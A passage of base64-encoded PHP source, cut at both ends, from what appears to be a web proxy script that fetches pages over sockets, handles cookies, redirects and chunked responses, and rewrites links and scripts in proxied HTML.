Zi1Nb2RpZmllZC1TaW5jZTogJGlmX21vZGlmaWVkXHJcbiI6bnVsbCkuDQoJICAgICAgKCRpZl9ub25lX21hdGNoIT1udWxsPyJJZi1Ob25lLU1hdGNoOiAkaWZfbm9uZV9tYXRjaFxyXG4iOm51bGwpLg0KCSAgICAgICJcclxueyRwb3N0X3ZhcnN9Ig0KCTsNCg0KCS8vIFRoaXMgcGFydCBpZ25vcmVzIGFueSAiU1NMOiBmYXRhbCBwcm90b2NvbCBlcnJvciIgZXJyb3JzLCBhbmQgbWFrZXMgc3VyZSBvdGhlciBlcnJvcnMgYXJlIHN0aWxsIHRyaWdnZXJlZCBjb3JyZWN0bHkNCglmdW5jdGlvbiBlcnJvckhhbmRsZSgkZXJybm8sJGVycm1zZyl7DQoJCWlmKCRlcnJubzw9RV9QQVJTRSAmJiAoJGVycm5vIT1FX1dBUk5JTkcgfHwgc3Vic3RyKCRlcnJtc2csLTI1KSE9J1NTTDogZmF0YWwgcHJvdG9jb2wgZXJyb3InKSl7DQoJCQlyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCgkJCXRyaWdnZXJfZXJyb3IoJGVycm1zZywkZXJybm88PDgpOw0KCQkJc2V0X2Vycm9yX2hhbmRsZXIoJ2Vycm9ySGFuZGxlJyk7DQoJCX0NCgl9DQoJc2V0X2Vycm9yX2hhbmRsZXIoJ2Vycm9ySGFuZGxlJyk7DQoNCgkkZnA9QGZzb2Nrb3BlbigkaXBhZGRyZXNzLCRwb3J0dmFsLCRlcnJubywkZXJydmFsLDUpIG9yIGhhdm9rKDYsJHNlcnZlcm5hbWUsJHBvcnR2YWwpOw0KCXN0cmVhbV9zZXRfdGltZW91dCgkZnAsNSk7DQoJIyBmb3IgcGVyc2lzdGVudCBjb25uZWN0aW9ucywgdGhpcyBtYXkgYmUgbmVjZXNzYXJ5DQoJLyoNCgkkdWI9c3RyZWFtX2dldF9tZXRhX2RhdGEoJGZwKTsNCgkkdWI9JHViWyd1bnJlYWRfYnl0ZXMnXTsNCglpZigkdWI+MCkgZnJlYWQoJGZwLCR1Yik7DQoJKi8NCglmd3JpdGUoJGZwLCRvdXQpOw0KDQoJJHJlc3BvbnNlPScxMDAnOw0KCXdoaWxlKCRyZXNwb25zZT09JzEwMCcpew0KCQkkcmVzcG9uc2VsaW5lPWZnZXRzKCRmcCw4MTkyKTsNCgkJJHJlc3BvbnNlPXN1YnN0cigkcmVzcG9uc2VsaW5lLDksMyk7DQoNCgkJJGhlYWRlcnM9YXJyYXkoKTsNCgkJd2hpbGUoJGN1cmxpbmUhPSJcclxuIiAmJiAkY3VybGluZT1mZ2V0cygkZnAsODE5Mikpew0KCQkJJGhhcnI9ZXhwbG9kZSgnOicsJGN1cmxpbmUsMik7DQoJCQkkaGVhZGVyc1tzdHJ0b2xvd2VyKCRoYXJyWzBdKV1bXT10cmltKCRoYXJyWzFdKTsNCgkJfQ0KCX0NCg0KCSNpZigkaGVhZGVyc1sncHJhZ21hJ11bMF09PW51bGwpIGhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTsNCgkjaWYoJGhlYWRlcnNbJ2NhY2hlLWNvbnRyb2wnXVswXT09bnVsbCkgaGVhZGVyKCdDYWNoZS1Db250cm9sOiBwdWJsaWMnKTsNCgkjaWYoJGhlYWRlcnNbJ2xhc3QtbW9kaWZpZWQnXVswXT09bnVsbCAmJiAkaGVhZGVyc1snZXhwaXJlcyddPT1udWxsKSBoZWFkZXIoJ0V4cGlyZXM6ICcuZGF0ZSgnRCwgZCBNIFkgSDppOnMgZScsdGltZSgpKzg2NDAwKSk7DQoNCgkjIHJlYWQgYW5kIHN0b3JlIGNvb2tpZXMNCglpZihlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcyddKSl7DQoJCWZvcigkaT0wOyRpPGNvdW50KCRoZWFkZXJzWydzZXQtY29va2llJ10pOyRpKyspew0KCQkJJHRoaXNjb29rPWV4cGxvZGUoJz0nLCRoZWFkZXJzWydzZXQtY29va2llJ11bJGldLDIpOw0KCQkJaWYoIXN0cnBvcygkdGhpc2Nvb2tbMV0sJzsnKSkgJHRoaXNjb29rWzFdLj0nOyc7DQoJCQkkY29va192YWw9c3Vic3RyKCR0aGlzY29va1sxXSwwLHN0cnBvcygkdGhpc2Nvb2tbMV0sJzsnKSk7DQoJCQkkY29va19kb21haW49cHJlZ19yZXBsYWNlKCcvXi4qZG9tYWluPVsJIF0qXC4/KFteO10rKS4qPyQvaScsJ1wxJywkdGhpc2Nvb2tbMV0pOyAjKg0KCQkJaWYoJGNvb2tfZG9tYWluPT0kdGhpc2Nvb2tbMV0pICRjb29rX2RvbWFpbj0kY29va19wcmVmZG9tYWluOw0KCQkJZWxzZWlmKHN1YnN0cigkY29va19wcmVmZG9tYWluLHN0cmxlbigkY29va19wcmVmZG9tYWluKS1zdHJsZW4oJGNvb2tfZG9tYWluKSxzdHJsZW4oJGNvb2tfZG9tYWluKSkhPSRjb29rX2RvbWFpbikgY29udGludWU7DQoJCQkkY29va19uYW1lPXN0cl9yZXBsYWNlKCcuJywnXycsJGNvb2tfZG9tYWluKS5DT09LSUVfU0VQQVJBVE9SLiR0aGlzY29va1swXTsNCgkJCWlmKEVOQ1JZUFRfQ09PS1Mpew0KCQkJCSRjb29rX25hbWU9cHJveGVuYygkY29va19uYW1lKTsNCgkJCQkkY29va192YWw9cHJveGVuYygkY29va192YWwpOw0KCQkJfQ0KCQkJZG9zZXRjb29raWUoJGNvb2tfbmFtZSwkY29va192YWwpOw0KCQl9DQoJfQ0KDQoJaWYoJHJlc3BvbnNlezB9PT0nMycgJiYgJHJlc3BvbnNlezF9PT0nMCcgJiYgJHJlc3BvbnNlezJ9IT0nNCcpew0KCQkkdXJsb2JqPW5ldyBhdXJsKCR1cmwpOw0KCQkkcmVkaXJ1cmw9ZnJhbWlmeV91cmwoc3Vycm9nYWZ5X3VybCgkaGVhZGVyc1snbG9jYXRpb24nXVswXSwkdXJsb2JqKSxORVdfUEFHRVRZUEVfRlJBTUVEX1BBR0UpOw0KDQoJCWZjbG9zZSgkZnApOw0KCQlyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCg0KCQlmaW5pc2hfbm9leGl0KCk7DQoJCWhlYWRlcigiTG9jYXRpb246IHskcmVkaXJ1cmx9Iik7DQoJCWV4aXQoKTsNCgl9DQoNCgkkb2hlYWRlcnM9JGhlYWRlcnM7DQoJJG9oZWFkZXJzWydsb2NhdGlvbiddPSRvaGVhZGVyc1snY29udGVudC1sZW5ndGgnXT0kb2hlYWRlcnNbJ2NvbnRlbnQtZW5jb2RpbmcnXT0NCgkkb2hlYWRlcnNbJ3NldC1jb29raWUnXT0kb2hlYWRlcnNbJ3RyYW5zZmVyLWVuY29kaW5nJ109JG9oZWFkZXJzWydjb25uZWN0aW9uJ109DQoJJG9oZWFkZXJzWydrZWVwLWFsaXZlJ109JG9oZWFkZXJzWydwcmFnbWEnXT0kb2hlYWRlcnNbJ2NhY2hlLWNvbnRyb2wnXT0kb2hlYWRlcnNbJ2V4cGlyZXMnXT1udWxsOw0KDQoJd2hpbGUobGlzdCgka2V5LCR2YWwpPWVhY2goJG9oZWFkZXJzKSkgaWYoIWVtcHR5KCR2YWxbMF0pKSBoZWFkZXIoInska2V5fTogeyR2YWxbMF19Iik7DQoJdW5zZXQoJG9oZWFkZXJzKTsNCgloZWFkZXIoIlN0YXR1czogeyRyZXNwb25zZX0iKTsNCg0KCWlmKHN1YnN0cigkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0sMCw0KT09J3RleHQnIHx8IHN1YnN0cigkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0sMCwyNCk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKXsNCgkJJGp1c3RvdXRwdXQ9ZmFsc2U7DQoJCSRqdXN0b3V0cHV0bm93PWZhbHNlOw0KCX0NCgllbHNlew0KCQkkanVzdG91dHB1dG5vdz0oJGhlYWRlcnNbJ2NvbnRlbnQtZW5jb2RpbmcnXVswXT09J2d6aXAnP2ZhbHNlOnRydWUpOw0KCQkkanVzdG91dHB1dD10cnVlOw0KCX0NCg0KCWlmKCRoZWFkZXJzWyd0cmFuc2Zlci1lbmNvZGluZyddWzBdPT0nY2h1bmtlZCcpew0KCQkkYm9keT1udWxsOw0KCQkkY2h1bmtzaXplPW51bGw7DQoJCXdoaWxlKCRjaHVua3NpemUhPT0wKXsNCgkJCSRjaHVua3NpemU9aW50dmFsKGZnZXRzKCRmcCw4MTkyKSwxNik7DQoJCQkkYnVmc2l6ZT0kY2h1bmtzaXplOw0KCQkJd2hpbGUoJGJ1ZnNpemU+PTEpew0KCQkJCSRjaHVuaz1mcmVhZCgkZnAsJGJ1ZnNpemUpOw0KCQkJCWlmKCRqdXN0b3V0cHV0bm93KSBlY2hvICRjaHVuazsNCgkJCQllbHNlICRib2R5Lj0kY2h1bms7DQoJCQkJJGJ1ZnNpemUtPXN0cmxlbigkY2h1bmspOw0KCQkJfQ0KCQkJZnJlYWQoJGZwLDIpOw0KCQl9DQoJfQ0KDQoJLy8gQ29udGVudC1MZW5ndGggc3R1ZmYgLSBjb21tZW50ZWQgZm9yIGV2ZW4gbW9yZSBjaG9jb2xhdGV5IGdvb2RuZXNzDQoJLyplbHNlaWYoJGhlYWRlcnNbJ2NvbnRlbnQtbGVuZ3RoJ11bMF0hPW51bGwpew0KCQkkY29ubGVuPSRoZWFkZXJzWydjb250ZW50LWxlbmd0aCddWzBdOw0KCQkkYm9keT1udWxsOw0KCQlmb3IoJGk9MDskaTwkY29ubGVuOyRpKz0kcmVhZCl7DQoJCQkkcmVhZD0oJGNvbmxlbi0kaTw4MTkyPyRjb25sZW4tJGk6ODE5Mik7DQoJCQkkYnl0ZT1mcmVhZCgkZnAsJHJlYWQpOw0KCQkJaWYoJGp1c3RvdXRwdXRub3cpIGVjaG8gJGJ5dGU7DQoJCQllbHNlICRib2R5Lj0kYnl0ZTsNCgkJfQ0KCX0qLw0KDQoJZWxzZXsNCgkJaWYoZnVuY3Rpb25fZXhpc3RzKCdzdHJlYW1fZ2V0X2NvbnRlbnRzJykpew0KCQkJaWYoJGp1c3RvdXRwdXRub3cpIGVjaG8gc3RyZWFtX2dldF9jb250ZW50cygkZnApOw0KCQkJZWxzZSAkYm9keT1zdHJlYW1fZ2V0X2NvbnRlbnRzKCRmcCk7DQoJCX0NCgkJZWxzZXsNCgkJCSRib2R5PW51bGw7DQoJCQl3aGlsZSh0cnVlKXsNCgkJCQkkY2h1bms9ZnJlYWQoJGZwLDgxOTIpOw0KCQkJCWlmKGVtcHR5KCRjaHVuaykpIGJyZWFrOw0KCQkJCWlmKCRqdXN0b3V0cHV0bm93KSBlY2hvICRjaHVuazsNCgkJCQllbHNlICRib2R5Lj0kY2h1bms7DQoJCQl9DQoJCX0NCgl9DQoNCglmY2xvc2UoJGZwKTsNCglyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCg0KCWlmKEdaSVBfUFJPWFlfU0VSVkVSICYmICRoZWFkZXJzWydjb250ZW50LWVuY29kaW5nJ11bMF09PSdnemlwJykgJGJvZHk9Z3ppbmZsYXRlKHN1YnN0cigkYm9keSwxMCkpOw0KCWlmKCRqdXN0b3V0cHV0KXsNCgkJaWYoISRqdXN0b3V0cHV0bm93KSBlY2hvICRib2R5Ow0KCQlmaW5pc2goKTsNCgl9DQoJcmV0dXJuIGFycmF5KCRib2R5LCR1cmwsJGNvb2tfcHJlZml4KTsNCg0KfQ0KDQojIH19fQ0KDQojIH19fQ0KDQojIFBST1hZIEVYRUNVVElPTiB7e3sNCg0KIyBQUk9YWSBFWEVDVVRJT046IFVTRVIgQ09PS0lFUyB7e3sNCg0KZ2xvYmFsICRwcm94eV92YXJpYWJsZXM7DQokcHJveHlfdmFyaWFibGVzPWFycmF5KENPT0tfUFJFRixDT09LX1BSRUYuJ19waXAnLENPT0tfUFJFRi4nX3Bwb3J0JyxDT09LX1BSRUYuJ191c2VyYWdlbnQnLENPT0tfUFJFRi4nX3VzZXJhZ2VudHRleHQnLENPT0tfUFJFRi4nX3VybF9mb3JtJyxDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcycsQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInLENPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJyxDT09LX1BSRUYuJ19yZW1vdmVfb2JqZWN0cycsQ09PS19QUkVGLidfZW5jcnlwdF91cmxzJyxDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJyk7DQoNCmlmKCRwb3N0YW5kZ2V0W0NPT0tfUFJFRi4nX3NldF92YWx1ZXMnXSl7DQoJJHByb3h5X3ZhcmJsYWNrbGlzdD1hcnJheShDT09LX1BSRUYpOw0KCWlmKCRwb3N0YW5kZ2V0W0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddIT0nMScpew0KCQl1bnNldCgkcG9zdGFuZGdldFtDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0J10pOw0KCQlkb3NldGNvb2tpZShDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0JyxmYWxzZSwwKTsNCgl9DQoJd2hpbGUobGlzdCgka2V5LCR2YWwpPWVhY2goJHByb3h5X3ZhcmlhYmxlcykpew0KCQlpZighaW5fYXJyYXkoJHZhbCwkcHJveHlfdmFyYmxhY2tsaXN0KSl7DQoJCQlkb3NldGNvb2tpZSgkdmFsLGZhbHNlLDApOw0KCQkJaWYoaXNzZXQoJHBvc3RhbmRnZXRbJHZhbF0pICYmICFlbXB0eSgkcG9zdGFuZGdldFskdmFsXSkpIGRvc2V0Y29va2llKCR2YWwsJHBvc3RhbmRnZXRbJHZhbF0pOw0KCQl9DQoJfQ0KCSR0aGV1cmw9ZnJhbWlmeV91cmwoc3Vycm9nYWZ5X3VybChPUklHX1VSTCksUEFHRVRZUEVfRlJBTUVfVE9QKTsNCgkjJHRoZXVybD1zdXJyb2dhZnlfdXJsKChFTkNSWVBUX1VSTFM/cHJveGRlYygkdGhldXJsKTokdGhldXJsKSxudWxsKTsNCgloZWFkZXIoIkxvY2F0aW9uOiB7JHRoZXVybH0iKTsNCglmaW5pc2goKTsNCn0NCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IFBST1hZIEdFVC9QT1NUL0NPT0tJRVMge3t7DQoNCmRlZmluZSgnUElQJywoRk9SQ0VfREVGQVVMVF9UVU5ORUw/JF9DT09LSUVbQ09PS19QUkVGLidfcGlwJ106REVGQVVMVF9UVU5ORUxfUElQKSk7DQpkZWZpbmUoJ1BQT1JUJyxpbnR2YWwoRk9SQ0VfREVGQVVMVF9UVU5ORUw/JF9DT09LSUVbQ09PS19QUkVGLidfcHBvcnQnXTpERUZBVUxUX1RVTk5FTF9QUE9SVCkpOw0KDQpkZWZpbmUoJ0VOQ1JZUFRfQ09PS1MnLGdldGhhcmRhdHRyKCdlbmNyeXB0X2Nvb2tzJykpOw0KDQpnbG9iYWwgJHJlZmVyZXI7DQppZigkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ109PW51bGwpew0KCSRyZWZ1cmxvYmo9bmV3IGF1cmwoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKTsNCgkkcmVmZXJlcj1wcm94ZGVjKHByZWdfcmVwbGFjZSgnL15bXHNcU10qJy5DT09LX1BSRUYuJz0oW14mXSopW1xzXFNdKiQvaScsJ1wxJywkcmVmdXJsb2JqLT5nZXRfcGF0aCgpKSk7ICMqDQp9DQplbHNlICRyZWZlcmVyPW51bGw7DQoNCiMkZ2V0a2V5cz1hcnJheV9rZXlzKCRfR0VUKTsNCiNmb3JlYWNoKCRnZXRrZXlzIGFzICRnZXR2YXIpeyBpZighaW5fYXJyYXkoJGdldHZhciwkcHJveHlfdmFyaWFibGVzKSl7ICRjdXJyX3VybC49KHN0cnBvcygkY3Vycl91cmwsJz8nKT09PWZhbHNlPyc/JzonJicpLiIkZ2V0dmFyPSIudXJsZW5jb2RlKCRfR0VUWyRnZXR2YXJdKTsgfSB9DQoNCmdsb2JhbCAkcG9zdF92YXJzOw0KJHBvc3RfdmFycz1udWxsOw0KJHBvc3RrZXlzPWFycmF5X2tleXMoJF9QT1NUKTsNCmZvcmVhY2goJHBvc3RrZXlzIGFzICRwb3N0a2V5KXsNCglpZighaW5fYXJyYXkoJHBvc3RrZXksJHByb3h5X3ZhcmlhYmxlcykpew0KCQlpZighaXNfYXJyYXkoJF9QT1NUWyRwb3N0a2V5XSkpDQoJCQkkcG9zdF92YXJzLj0oJHBvc3RfdmFycyE9bnVsbD8nJic6bnVsbCkuaHR0cGNsZWFuKCRwb3N0a2V5KS4nPScuaHR0cGNsZWFuKCRfUE9TVFskcG9zdGtleV0pOw0KCQllbHNlew0KCQkJZm9yZWFjaCgkX1BPU1RbJHBvc3RrZXldIGFzICRwb3N0dmFsKQ0KCQkJCSRwb3N0X3ZhcnMuPSgkcG9zdF92YXJzIT1udWxsPycmJzpudWxsKS5odHRwY2xlYW4oJHBvc3RrZXkpLiclNUIlNUQ9Jy5odHRwY2xlYW4oJHBvc3R2YWwpOw0KCQl9DQoJfQ0KfQ0KdW5zZXQoJHBvc3RrZXlzKTsNCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IEROUyBDQUNIRSB7e3sNCg0KaWYoIWlzc2V0KCRfU0VTU0lPTlsnRE5TX0NBQ0hFX0FSUkFZJ10pKSAkZG5zX2NhY2hlX2FycmF5PWFycmF5KCk7DQplbHNlICRkbnNfY2FjaGVfYXJyYXk9JF9TRVNTSU9OWydETlNfQ0FDSEVfQVJSQVknXTsNCg0KIyBwdXJnZSBvbGQgcmVjb3JkcyBmcm9tIEROUyBjYWNoZQ0Kd2hpbGUobGlzdCgka2V5LCRlbnRyeSk9ZWFjaCgkZG5zX2NhY2hlX2FycmF5KSl7DQoJaWYoJGVudHJ5Wyd0aW1lJ108dGltZSgpLShETlNfQ0FDSEVfRVhQSVJFKjYwKSkgdW5zZXQoJGRuc19jYWNoZV9hcnJheVska2V5XSk7DQp9DQoNCiMgfX19DQoNCiMgUFJPWFkgRVhFQ1VUSU9OOiBQQUdFIFJFVFJJRVZBTCB7e3sNCg0KJHBhZ2VzdHVmZj1nZXRwYWdlKCRjdXJyX3VybCk7DQokYm9keT0kcGFnZXN0dWZmWzBdOw0KDQokdGJvZHk9dHJpbSgkYm9keSk7DQppZigoJHRib2R5ezB9PT0nIicgJiYgc3Vic3RyKCR0Ym9keSwtMSk9PSciJykgfHwgKCR0Ym9keXswfT09J1wnJyAmJiBzdWJzdHIoJHRib2R5LC0xKT09J1wnJykpew0KCWVjaG8gJGJvZHk7DQoJZmluaXNoKCk7DQp9DQp1bnNldCgkdGJvZHkpOw0KDQokY3Vycl91cmw9JHBhZ2VzdHVmZlsxXTsNCmRlZmluZSgnUEFHRUNPT0tfUFJFRklYJywkcGFnZXN0dWZmWzJdKTsNCnVuc2V0KCRwYWdlc3R1ZmYpOw0KZGVmaW5lKCdDT05URU5UX1RZUEUnLHByZWdfcmVwbGFjZSgnL14oW2EtejAtOVwtXC9dKykuKiQvaScsJ1wxJywkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0pKTsgIyoNCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IFBBR0UgUEFSU0lORyB7e3sNCg0KaWYoc3RycG9zKCRib2R5LCc8YmFzZScpKXsNCgkkYmFzZT1wcmVnX3JlcGxhY2UoJy9eLionLkJBU0VfUkVHRVhQLicuKiQvaXMnLCdcMScsJGJvZHkpOw0KCWlmKCFlbXB0eSgkYmFzZSkgJiYgJGJhc2UhPSRib2R5ICYmICFlbXB0eSgkYmFzZXsxMDB9KSl7DQoJCSRib2R5PXByZWdfcmVwbGFjZSgnLycuQkFTRV9SRUdFWFAuJy9pJyxudWxsLCRib2R5KTsNCg0KCQkvL3ByZWdfbWF0Y2goJy9eKFsiXCddKS4qXDEkL2knLCRiYXNlKT4wDQoJCWlmKCgkYmFzZXswfT09JyInICYmIHN1YnN0cigkYmFzZSwtMSk9PSciJykgfHwgKCRiYXNlezB9PT0nXCcnICYmIHN1YnN0cigkYmFzZSwtMSk9PSdcJycpKQ0KCQkJJGJhc2U9c3Vic3RyKCRiYXNlLDEsc3RybGVuKCRiYXNlKS0yKTsgIyoNCgkJJGN1cnJfdXJsPSRiYXNlOw0KCX0NCgl1bnNldCgkYmFzZSk7DQp9DQoNCmdsb2JhbCAkY3Vycl91cmxvYmo7DQokY3Vycl91cmxvYmo9bmV3IGF1cmwoJGN1cnJfdXJsKTsNCg0KIyBQUk9YWSBFWEVDVVRJT046IFBBR0UgUEFSU0lORzogUEFSU0lORyBGVU5DVElPTlMge3t7DQoNCmZ1bmN0aW9uIHBhcnNlX2h0bWwoJHJlZ2V4cCwkcGFydG9wYXJzZSwkaHRtbCwkYWRkcHJveHksJGZyYW1pZnkpew0KCWdsb2JhbCAkY3Vycl91cmxvYmo7DQoJJG5ld2h0bWw9bnVsbDsNCgl3aGlsZShwcmVnX21hdGNoKCRyZWdleHAsJGh0bWwsJG1hdGNoYXJyLFBSRUdfT0ZGU0VUX0NBUFRVUkUpKXsNCgkJJG51cmw9c3Vycm9nYWZ5X3VybCgkbWF0Y2hhcnJbJHBhcnRvcGFyc2VdWzBdLCRjdXJyX3VybG9iaiwkYWRkcHJveHkpOw0KCQlpZigkZnJhbWlmeSkgJG51cmw9ZnJhbWlmeV91cmwoJG51cmwsJGZyYW1pZnkpOw0KCQkkYmVnaW49JG1hdGNoYXJyWyRwYXJ0b3BhcnNlXVsxXTsNCgkJJGVuZD0kbWF0Y2hhcnJbJHBhcnRvcGFyc2VdWzFdK3N0cmxlbigkbWF0Y2hhcnJbJHBhcnRvcGFyc2VdWzBdKTsNCgkJJG5ld2h0bWwuPXN1YnN0cl9yZXBsYWNlKCRodG1sLCRudXJsLCRiZWdpbik7DQoJCSRodG1sPXN1YnN0cigkaHRtbCwkZW5kLHN0cmxlbigkaHRtbCktJGVuZCk7DQoJfQ0KCSRuZXdodG1sLj0kaHRtbDsNCglyZXR1cm4gJG5ld2h0bWw7DQp9DQoNCmZ1bmN0aW9uIHJlZ3VsYXJfZXhwcmVzcygkcmVnZXhwX2FycmF5LCR0aGV2YXIpew0KCSMkcmVnZXhwX2FycmF5WzJdLj0nUyc7ICMgaW4gYmVuY2htYXJrcywgdGhpcyAnb3B0aW1pemF0aW9uJyBhcHBlYXJlZCB0byBub3QgZG8gYW55dGhpbmcgYXQgYWxsLCBvciBwb3NzaWJseSBldmVuIHNsb3cgdGhpbmdzIGRvd24NCglpZigkcmVnZXhwX2FycmF5WzBdPT0xKSAkbmV3dmFyPXByZWdfcmVwbGFjZSgkcmVnZXhwX2FycmF5WzJdLCRyZWdleHBfYXJyYXlbM10sJHRoZXZhcik7DQoJZWxzZWlmKCRyZWdleHBfYXJyYXlbMF09PTIpew0KCQkkYWRkcHJveHk9KGlzc2V0KCRyZWdleHBfYXJyYXlbNF0pPyRyZWdleHBfYXJyYXlbNF06dHJ1ZSk7DQoJCSRmcmFtaWZ5PShpc3NldCgkcmVnZXhwX2FycmF5WzVdKT8kcmVnZXhwX2FycmF5WzVdOmZhbHNlKTsNCgkJJG5ld3Zhcj1wYXJzZV9odG1sKCRyZWdleHBfYXJyYXlbMl0sJHJlZ2V4cF9hcnJheVszXSwkdGhldmFyLCRhZGRwcm94eSwkZnJhbWlmeSk7DQoJfQ0KCXJldHVybiAkbmV3dmFyOw0KfQ0KDQpmdW5jdGlvbiBwYXJzZV9hbGxfaHRtbCgkaHRtbCl7DQoJZ2xvYmFsICRyZWdleHBfYXJyYXlzOw0KDQoJaWYoQ09OVEVOVF9UWVBFIT0ndGV4dC9odG1sJyl7DQoJCWZvcihyZXNldCgkcmVnZXhwX2FycmF5cyk7bGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpOyl7DQoJCQlpZigka2V5PT1DT05URU5UX1RZUEUpew0KCQkJCWZvcmVhY2goJGFyciBhcyAkcmVnYXJyKXsNCgkJCQkJaWYoJHJlZ2Fycj09bnVsbCkgY29udGludWU7DQoJCQkJCSRodG1sPXJlZ3VsYXJfZXhwcmVzcygkcmVnYXJyLCRodG1sKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJcmV0dXJuICRodG1sOw0KCX0NCg0KCSNpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkpICRzcGxpdGFycj1hcnJheSgkaHRtbCk7DQoJJHNwbGl0YXJyPXByZWdfc3BsaXQoJy8oPCEtLSg/IVxbaWYpLio/LS0+fDxzdHlsZS4qPzxcL3N0eWxlPnw8c2NyaXB0Lio/PFwvc2NyaXB0PikvaXMnLCRodG1sLC0xLFBSRUdfU1BMSVRfREVMSU1fQ0FQVFVSRSk7DQoJdW5zZXQoJGh0bWwpOw0KDQoJLy9kZWZpbmUoJ1JFR0VYUF9TQ1JJUFRfT05FVkVOVCcsJyggb25bYS16XXszLDIwfT0oPzoiKD86W14iXSspInxcJyg/OlteXCddKylcJ3xbXiJcJyA+XVteID5dK1teIlwnID5dKSknKTsNCgkkZmlyc3RydW49dHJ1ZTsNCgkkZmlyc3Rqc3J1bj10cnVlOw0KCWZvcihyZXNldCgkcmVnZXhwX2FycmF5cyk7bGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpOyl7DQoJCWlmKCRrZXk9PSd0ZXh0L2phdmFzY3JpcHQnKSBjb250aW51ZTsNCg0KCQkvLyBPUFRJT04xOiB1c2UgT05MWSBpZiBubyBKYXZhc2NyaXB0IFJFR0VYUFMgYWZmZWN0IEhUTUwgc2VjdGlvbnMNCgkJLy8gYW5kIGFsbCBIVE1MIG1vZGlmeWluZyBKYXZhc2NyaXB0IFJFR0VYUFMgYXJlIHBlcmZvcm1lZCBhZnRlciBIVE1MIHJlZ2V4cHMNCgkJLy8gVGhpcyBnaXZlcyBhIHByZXR0eSBzaWduaWZpY2FudCBzcGVlZCBib29zdA0KCQkvLyBJZiB1c2VkLCBtYWtlIHN1cmUgIk9QVElPTjIiIGxpbmVzIGFyZSBjb21tZW50ZWQsIGFuZCBvdGhlciAiT1BUSU9OMSIgbGluZXMgQVJFTidUDQoJCWlmKCRmaXJzdGpzcnVuICYmICRrZXk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKXsNCgkJCWlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkgYnJlYWs7DQoJCQkkc3BsaXRhcnIyPWFycmF5KCk7DQoJCQlmb3IoJGk9MDskaTxjb3VudCgkc3BsaXRhcnIpOyRpKz0yKXsNCgkJCQkkc3BsaXRhcnIyWyRpXT1wcmVnX3NwbGl0KCcvJy5SRUdFWFBfU0NSSVBUX09ORVZFTlQuJy9pcycsJHNwbGl0YXJyWyRpXSwtMSxQUkVHX1NQTElUX0RFTElNX0NBUFRVUkUpOw0KCQkJfQ0KCQl9DQoJCS8vIEVORCBPUFRJT04xDQoNCgkJIyBmaXJzdHJ1biByZW1vdmUgc2NyaXB0czogb248ZXZlbnQ+cyBhbmQgbm9zY3JpcHQgdGFnczsgYWxzbyByZW1vdmUgb2JqZWN0cw0KCQlpZigkZmlyc3RydW4gJiYgKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSB8fCAhZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX29iamVjdHMnXSkpKXsNCgkJCWZvcigkaT0wOyRpPGNvdW50KCRzcGxpdGFycik7JGkrPTIpew0KCQkJCWlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkNCgkJCQkJJHNwbGl0YXJyWyRpXT1wcmVnX3JlcGxhY2UoJy8oPzonLlJFR0VYUF9TQ1JJUFRfT05FVkVOVC4nfDwuP25vc2NyaXB0PikvaXMnLG51bGwsJHNwbGl0YXJyWyRpXSk7DQoJCQkJaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pKQ0KCQkJCQkkc3BsaXRhcnJbJGldPXByZWdfcmVwbGFjZSgnLzwoZW1iZWR8b2JqZWN0KS4qPzxcL1wxPi9pcycsbnVsbCwkc3BsaXRhcnJbJGldKTsNCgkJCX0NCgkJfQ0KDQoJCWZvcmVhY2goJGFyciBhcyAkcmVnZXhwX2FycmF5KXsNCgkJCWlmKCRyZWdleHBfYXJyYXk9PW51bGwpIGNvbnRpbnVlOw0KCQkJZm9yKCRpPTA7JGk8Y291bnQoJHNwbGl0YXJyKTskaSsrKXsNCg0KCQkJCSMgcGFyc2Ugc2NyaXB0cyBmb3Igb248ZXZlbnQ+cw0KCQkJCWlmKCRpJTI9PTAgJiYgaXNzZXQoJHNwbGl0YXJyMikgJiYgJHJlZ2V4cF9hcnJheVsxXT09Mil7IC8vIE9QVElPTjENCg0KCQkJCS8vIE9QVElPTjINCgkJCQkvL2lmKCRyZWdleHBfYXJyYXlbMV09PTIgJiYgJGklMj09MCl7IC8vIE9QVElPTjINCgkJCQkJLy8kc3BsaXRhcnIyWyRpXT1wcmVnX3NwbGl0KCcvKCBvblthLXpdezMsMjB9PSg/OiIoPzpbXiJdKykifFwnKD86W15cJ10rKVwnfFteIlwnID5dW14gPl0rW14iXCcgPl0pKS9pcycsJHNwbGl0YXJyWyRpXSwtMSxQUkVHX1NQTElUX0RFTElNX0